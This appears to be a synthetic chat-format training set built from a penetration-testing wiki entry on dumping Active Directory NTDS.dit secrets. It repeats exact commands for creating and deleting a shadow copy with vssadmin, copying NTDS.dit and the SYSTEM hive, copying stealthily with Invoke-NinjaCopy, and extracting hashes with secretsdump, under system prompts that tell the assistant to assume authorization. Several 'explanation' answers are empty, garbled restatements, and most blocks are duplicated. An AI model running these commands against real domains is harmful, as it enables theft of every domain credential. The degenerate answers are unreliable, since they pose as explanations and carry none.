VSS (Volume Shadow Copy) is a Microsoft Windows technology, implemented as a service, that allows the creation of backup copies of files or volumes, even when they are in use. The following command will create the shadow copy and will print two values that will be used later: the ID and the Name of the shadow copy.

``bash
vssadmin create shadow /for=C:
`

Once the VSS is created for the target drive, it is then possible to copy the target files from it.

`bash
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save
`

Once the required files are exfiltrated, the shadow copy can be removed

`bash
vssadmin delete shadows /shadow=$ShadowCopyId
`

> [!TIP]
> This attack can be carried out with Impacket's secretsdump with the -use-vss option. Additionaly, the -exec-method option can be set to smbexec, wmiexec or mmcexec` to specify on which remote command execution method to rely on for the process.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about NTDS secrets - Volume Shadow Copy (VSSAdmin)?

Response:
VSS (Volume Shadow Copy) is a Microsoft Windows technology, implemented as a service, that allows the creation of backup copies of files or volumes, even when they are in use. The following command will create the shadow copy and will print two values that will be used later: the ID and the Name of the shadow copy.

``bash
vssadmin create shadow /for=C:
`

Once the VSS is created for the target drive, it is then possible to copy the target files from it.

`bash
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save
`

Once the required files are exfiltrated, the shadow copy can be removed

`bash
vssadmin delete shadows /shadow=$ShadowCopyId
`

> [!TIP]
> This attack can be carried out with Impacket's secretsdump with the -use-vss option. Additionaly, the -exec-method option can be set to smbexec, wmiexec or mmcexec` to specify on which remote command execution method to rely on for the process.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for NTDS secrets - Volume Shadow Copy (VSSAdmin)

[Assistant]
VSS (Volume Shadow Copy) is a Microsoft Windows technology, implemented as a service, that allows the creation of backup copies of files or volumes, even when they are in use. The following command will create the shadow copy and will print two values that will be used later: the ID and the Name of the shadow copy.

``bash
vssadmin create shadow /for=C:
`

Once the VSS is created for the target drive, it is then possible to copy the target files from it.

`bash
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save
`

Once the required files are exfiltrated, the shadow copy can be removed

`bash
vssadmin delete shadows /shadow=$ShadowCopyId
`

> [!TIP]
> This attack can be carried out with Impacket's secretsdump with the -use-vss option. Additionaly, the -exec-method option can be set to smbexec, wmiexec or mmcexec` to specify on which remote command execution method to rely on for the process.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for NTDS secrets - Volume Shadow Copy (VSSAdmin)

Response:
VSS (Volume Shadow Copy) is a Microsoft Windows technology, implemented as a service, that allows the creation of backup copies of files or volumes, even when they are in use. The following command will create the shadow copy and will print two values that will be used later: the ID and the Name of the shadow copy.

``bash
vssadmin create shadow /for=C:
`

Once the VSS is created for the target drive, it is then possible to copy the target files from it.

`bash
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save
`

Once the required files are exfiltrated, the shadow copy can be removed

`bash
vssadmin delete shadows /shadow=$ShadowCopyId
`

> [!TIP]
> This attack can be carried out with Impacket's secretsdump with the -use-vss option. Additionaly, the -exec-method option can be set to smbexec, wmiexec or mmcexec` to specify on which remote command execution method to rely on for the process.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use vssadmin for ntds secrets - volume shadow copy (vssadmin)?

[Assistant] vssadmin create shadow /for=C:

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use vssadmin for ntds secrets - volume shadow copy (vssadmin)?

Response: vssadmin create shadow /for=C:


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on NTDS secrets - Volume Shadow Copy (VSSAdmin)

[Assistant] vssadmin create shadow /for=C:

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on NTDS secrets - Volume Shadow Copy (VSSAdmin)

Response: vssadmin create shadow /for=C:


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `vssadmin create shadow /for=C:`?

[Assistant] This command is used for ntds secrets - volume shadow copy (vssadmin). Volume Shadow Copy (VSSAdmin)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `vssadmin create shadow /for=C:`?

Response: This command is used for ntds secrets - volume shadow copy (vssadmin). Volume Shadow Copy (VSSAdmin)


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the copy command to ntds secrets - volume shadow copy (vssadmin)

[Assistant]
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the copy command to ntds secrets - volume shadow copy (vssadmin)

Response:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through NTDS secrets - Volume Shadow Copy (VSSAdmin)

[Assistant]
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through NTDS secrets - Volume Shadow Copy (VSSAdmin)

Response:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
copy $ShadowCopyName\Windows\System32\config\SYSTEM C:\Windows\Temp\system.save


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save`?

[Assistant] This command is used for ntds secrets - volume shadow copy (vssadmin). Volume Shadow Copy (VSSAdmin)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save`?

Response: This command is used for ntds secrets - volume shadow copy (vssadmin). Volume Shadow Copy (VSSAdmin)


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the vssadmin command to ntds secrets - volume shadow copy (vssadmin)

[Assistant] vssadmin delete shadows /shadow=$ShadowCopyId

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the vssadmin command to ntds secrets - volume shadow copy (vssadmin)

Response: vssadmin delete shadows /shadow=$ShadowCopyId


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for NTDS secrets - Volume Shadow Copy (VSSAdmin)

[Assistant] vssadmin delete shadows /shadow=$ShadowCopyId

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: vssadmin delete shadows /shadow=$ShadowCopyId


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `vssadmin delete shadows /shadow=$ShadowCopyId`?

[Assistant] This command is used for ntds secrets - volume shadow copy (vssadmin). Volume Shadow Copy (VSSAdmin)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `vssadmin delete shadows /shadow=$ShadowCopyId`?

Response: This command is used for ntds secrets - volume shadow copy (vssadmin). Volume Shadow Copy (VSSAdmin)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe NTDS secrets - NTFS structure parsing in the context of penetration testing

[Assistant]
Invoke-NinjaCopy is a PowerShell script part of the PowerSploit suite able to "copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This technique is stealthier than the others.

``bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe NTDS secrets - NTFS structure parsing in the context of penetration testing

Response:
Invoke-NinjaCopy is a PowerShell script part of the PowerSploit suite able to "copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This technique is stealthier than the others.

``bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out NTDS secrets - NTFS structure parsing during a pentest?

[Assistant]
Invoke-NinjaCopy is a PowerShell script part of the PowerSploit suite able to "copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This technique is stealthier than the others.

``bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out NTDS secrets - NTFS structure parsing during a pentest?

Response:
Invoke-NinjaCopy is a PowerShell script part of the PowerSploit suite able to "copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This technique is stealthier than the others.

``bash
Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Invoke-NinjaCopy.ps1 command for ntds secrets - ntfs structure parsing

[Assistant] Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Invoke-NinjaCopy.ps1 command for ntds secrets - ntfs structure parsing

Response: Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on NTDS secrets - NTFS structure parsing

[Assistant] Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on NTDS secrets - NTFS structure parsing

Response: Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"`?

[Assistant] This command is used for ntds secrets - ntfs structure parsing. NTFS structure parsing

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Invoke-NinjaCopy.ps1 -Path "C:\Windows\NTDS\NTDS.dit" -LocalDestination "C:\Windows\Temp\ntds.dit.save"`?

Response: This command is used for ntds secrets - ntfs structure parsing. NTFS structure parsing


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain NTDS secrets - 2. Parsing

[Assistant]
Once the required files are exfiltrated, they can be parsed by tools like secretsdump (Python, part of Impacket) or gosecretsdump (Go, faster for big files).

``bash
secretsdump -ntds ntds.dit.save -system system.save LOCAL
gosecretsdump -ntds ntds.dit.save -system system.save
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Once the required files are exfiltrated, they can be parsed by tools like secretsdump (Python, part of Impacket) or gosecretsdump (Go, faster for big files).

``bash
secretsdump -ntds ntds.dit.save -system system.save LOCAL
gosecretsdump -ntds ntds.dit.save -system system.save
``